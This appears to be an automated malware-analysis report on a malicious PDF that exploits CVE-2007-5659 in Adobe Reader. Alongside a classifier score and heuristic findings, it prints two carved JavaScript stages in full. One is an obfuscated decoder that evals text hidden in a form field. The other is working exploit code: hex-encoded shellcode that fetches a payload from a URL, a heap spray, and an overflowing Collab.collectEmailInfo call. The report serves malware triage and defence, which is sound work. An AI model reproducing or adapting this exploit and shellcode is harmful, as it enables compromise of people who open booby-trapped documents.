MALICIOUS
110
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file was flagged as malicious by an ML classifier with high confidence. Heuristics indicate the presence of embedded JavaScript, which is often used to download and execute further stages of malware. No specific family could be identified, but the presence of JavaScript points to a common delivery technique.
Machine Learning
- Nyx PDF Classifier malicious score 0.9971
Heuristics 5
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0106_000.js |
pdf-javascript-stream | PDF /JS object 106 at offset 0x7F0F | 3219 bytes |
SHA-256: dd02245bc1824e1d0e84a8350c85b274981555683706a463a6fe9b9169790162 |
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Preview scriptFirst 1,000 lines of the extracted script
var nnnnnnnnnnnnnnnnnnnnn="G198G147G198"+"G147G198G162G165G"+"150G153G207G144"+"G204G159G150G204G16"+"2G204G144G147G198"+"G147G198G159G198"+"G159G168G207G2"+"01G201G198G15"+"9G147G198G198G153"+"G147G156G195G14"+"7G207G198G159G195"+"G198G147G207G156"+"G204G201G147G162"+"G171G147G147G"+"153G150G153"+"G195G147G207G1"+"56G198G168G168G1"+"71G171G165G201G195G150"+"G153G195G147G207G"+"144G168G147G171G"+"201G168G147G207G156G1"+"62G204G144G14"+"7G168G150G159"+"G210G207G144G207"+"G156G168G150G195G2"+"10G168G150G162G165"+"G147G210G207G15"+"6G207G198G162G1"+"44G150G207G207G156"+"G207G156G2"+"07G156G204G159G150"+"G204G198G159G19"+"8G159G198G147G19"+"8G153G198G159G147G1"+"98G198G153G147G201"+"G162G165G147G201"+"G207G156G171G"+"147G144G147G16"+"8G207G207G144G168G2"+"01G207G156G210G156G20"+"7G156G207G156G168"+"G201G207G156G201G156G195"+"G195G207G156G168G"+"207G207G156"+"G147G198G198G153G153G"+"144G162G204G150G"+"150G204G159G150G204G"+"198G159G168G207G198G"+"156G168G207G207G"+"165G198G159G198G"+"159G168G201G207G"+"156G207G156G207G15"+"6G150G156G198G147G147G198"+"G198G153G153G201G"+"162G204G195G153G144G168G1"+"98G147G162G204G147G147G204G15"+"9G150G204G16"+"2G204G147G2"+"01G162G165G144G"+"201G207G144G198G159G198G"+"156G168G201G201"+"G144G210G156G207G156G"+"207G156G198G147G147"+"G198G171G153G144G"+"168G147G198G198G"+"153G153G168G207G165"+"G168G198G147G168G162"+"G165G171G198G147G168G207G"+"156G171G147G144G162"+"G162G204G147G"+"159G195G204G195G159"+"G204G204G144G2"+"04G171G144G207G201G195G159G"+"162G156G204G159G204G165"+"G204G204G144G204"+"G171G147G147G165G204"+"G159G150G204G198"+"G159G198G159G198G159"+"G147G198G171G153G144G168G147"+"G198G198G153G144G156G20"+"4G159G150G204G162G204G"+"147G201G162G165G14"+"4G201G207G144G201"+"G204G147G147G198G1"+"59G198G156G198G14"+"7G198G150G147G198"+"G171G153G144G168G"+"147G198G198G153G144"+"G144G147G198"+"G171G153G144G168G"+"147G198G198G153G1"+"44G201G168G150G159G210G"+"207G150G207G156G168"+"G150G195G210G168"+"G150G162G165G147G210G"+"207G156G171G144G2"+"04G162G204G15"+"9G150G204G198G1"+"71G168G207G207G1"+"47G198G159G198G15"+"9G198G147G198G159G"+"198G159G147G198G198"+"G153G147G144G"+"162G165G147G201G201"+"G156G171G195G144"+"G150G204G159G150G156G204"+"G159G150G204G195G156G207"+"G198G159G195G210G144"+"G207G153G2"+"04G201"+"G147G162G171"+"G147G147G153G150"+"G153G207G14"+"4G207G153G2"+"01G150G168G150"+"G204G171G";
var cxvbeagasdfadsf = ':'+'ABCDEFGHIJKLMNOPQRSTUVWXYZ{} ()[]^abcdefghijklmnopqrstuvwxyz_0123456789/!%+-*.,;"=<>&'+'\\';
function cbrwnwsfdgasdf(text){
var decryptedText="";
var ln = text.length;
for (var i = 0;i<ln-1;i++)
{
decryptedText += ytrhsdgfesrgsdfgew(text[i]);
}
return decryptedText;}
function ytrhsdgfesrgsdfgew(cryptSymbol){
var symbol="";
var posSymbol=cxvbeagasdfadsf.indexOf(cryptSymbol)-2;
if (posSymbol<0)
{posSymbol=posSymbol+cxvbeagasdfadsf.length;}
symbol=cxvbeagasdfadsf.charAt(posSymbol);
return symbol;}
var b2=getField("Text1");
var fgbfdg43wgwefewf=b2.value;
function gasdasd(sads){
var ghjashdkfls = "fklsadnkljasjklkjasrevkjadslkfjal;skdjfasd" + "gakslnkladsn;klasj;fkljasal".substring();
app[cxvbeagasdfadsf[39]+cxvbeagasdfadsf[56]+cxvbeagasdfadsf[35]+cxvbeagasdfadsf[46]](sads);
}
gasdasd(cbrwnwsfdgasdf(fgbfdg43wgwefewf));
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acroform_shifted_field_stage_000.js |
deobfuscated-js | AcroForm field shifted-alphabet decoded (shift 2) at offset 0x4E4 | 2058 bytes |
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \
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